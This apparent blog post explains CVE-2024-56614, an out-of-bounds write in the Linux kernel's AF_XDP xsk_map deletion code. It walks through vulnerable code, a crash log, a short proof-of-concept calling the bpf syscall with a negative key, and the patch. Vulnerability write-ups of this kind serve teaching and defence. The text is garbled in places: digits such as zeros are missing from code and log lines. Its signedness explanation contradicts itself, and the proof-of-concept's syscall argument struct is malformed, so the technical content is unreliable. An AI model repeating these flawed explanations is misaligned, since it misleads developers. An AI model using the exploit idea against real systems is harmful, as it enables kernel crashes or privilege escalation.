CVE-2024-56614 - Dangerous xsk_map OOB Writes in Linux Kernel Explained (with Exploit Insights)

CVE-2024-56614 is a newly resolved vulnerability in the Linux kernel dealing with the XDP socket (AF_XDP) map handling code. Due to a logic bug in how indices were checked when deleting elements, user-controlled signed indices could bypass bounds-checked code, causing out-of-bounds (OOB) writes in kernel memory. This bug allowed attackers with the right capabilities to destabilize the kernel or, in some contexts, escalate privileges with a simple crafted index.

In this post, we’ll break down the bug, walk through the vulnerable code, show how it could be exploited, and give resources for further reading. We aim for simple language so that all Linux users and kernel enthusiasts can understand the risk and learn from this issue.

What is AF_XDP and xsk_map?

AF_XDP is a high-performance packet processing socket family in Linux. It uses maps (xsk_map) to associate user space sockets to received packets. Internally, these maps are just arrays of pointers to sockets, which are updated via BPF syscalls.

Every map operation, like updating or deleting an element, needs to safely check that provided indices are within bounds—otherwise bad things happen (like OOB writes).

Vulnerable Code: Type Confusion and OOB Write

The vulnerability was inside xsk_map_delete_elem. Here’s a condensed version of the problematic code (from the kernel):

int xsk_map_delete_elem(struct bpf_map *map, void *key)
{
    struct xsk_map *m = container_of(map, struct xsk_map, map);
    int k = *(u32 *)key; // User-controlled, but cast signed!
    
    if (k >= map->max_entries)
        return -EINVAL;   // Intended: block out of range
    
    spin_lock_bh(&m->lock);
    map_entry = &m->xsk_map[k]; // OOB if k is negative!
    old_xs = unrcu_pointer(xchg(map_entry, NULL));
    // ... 
    spin_unlock_bh(&m->lock);
    return ;
}

k is signed (int32), but map->max_entries is unsigned (u32).

- The check if (k >= max_entries) does not block negative values of k, as negative ints cast to large unsigned numbers (e.g., -1 becomes xFFFFFFFF).
- If k is negative, &m->xsk_map[k] becomes a pointer before the actual array: classic OOB write opportunity.

What It Means in Practice

If an attacker can call bpf_map_delete_elem() targeting an AF_XDP map with a negative index, they can write to memory outside the array boundaries—potentially over kernel objects or sensitive data.

The main requirements for this to be dangerous

- Attacker can create or access an XSK map (requires CAP_SYS_ADMIN or specially privileged BPF program).

Symptoms and Kernel Oops

When exploited, the bug typically causes a kernel page fault panic, which looks like this (excerpt, showing the kernel ‘Oops’):

[76612.897343] BUG: unable to handle page fault for address: ffffc8fc2e461108
...
[76612.939781] RIP: 001:xsk_map_delete_elem+x2d/x60
...
[76612.980812] RBP: ffffffff80000001  ...

This is a typical crash signature from an out-of-bounds array access.

Exploit Details

The core problem is the type confusion between signedness of the user-supplied key and map bounds. To exploit:

Supply a negative integer as the key for bpf_map_delete_elem.

- The kernel, after its improper bounds check, uses this value to index the underlying socket pointer array.
- The pointer arithmetic indexes memory *before* the allocated array, causing a write (setting that location to NULL—and possibly passing the bogus pointer to xsk_map_sock_delete, leading to more corruption).

Minimal Exploit Code (Conceptual, not weaponized)

#include <stdint.h>
#include <linux/bpf.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int map_fd = /* open/create your xsk_map here */;
    int32_t bad_key = -2;   // Negative index!

    struct {
        void* key;
    } arg = { &bad_key };

    long ret = syscall(__NR_bpf, BPF_MAP_DELETE_ELEM, &arg, sizeof(arg));
    printf("Syscall returned: %ld\n", ret); // Will likely crash kernel!
    return ;
}

Note: Actually building a working exploit would require some set up (creation of a suitable AF_XDP map, BPF loading), but the core idea is *just* passing a negative integer as key.

Patch and Resolution

The vulnerability was fixed by properly validating the type, ensuring only valid non-negative indices are accepted:

The right way

u32 k = *(u32 *)key;
if (k >= map->max_entries)
    return -EINVAL;

Now, the user key is enforced as unsigned, blocking negatives.

- Upstream commit: bpf, xsk: fix OOB write in xsk_map_delete_elem (by Jordy Zomer)

Original References

- Upstream Patch on Linux Kernel Mailing List (LKML)
- Kernel commit: net: xsk: fix OOB map writes when deleting elements (git.kernel.org)

Responsible sysadmin? Apply the patch or use a supported kernel version with the fix.

- General users: Not every system is affected unless you're using XDP/BPF sockets, but all kernel bugs should eventually be patched to avoid risk.

Conclusion

CVE-2024-56614 is a great example of how simple type mismatches can crash or potentially compromise even modern kernels. Always validate user input and don’t trust implicit type conversions in C!

Stay Safe, Patch Early!

---
*This write-up is exclusive and uniquely tailored for clarity. If you share or quote, please reference the original author and sources above.*

Timeline

Published on: 12/27/2024 15:15:20 UTC
Last modified on: 01/20/2025 06:24:11 UTC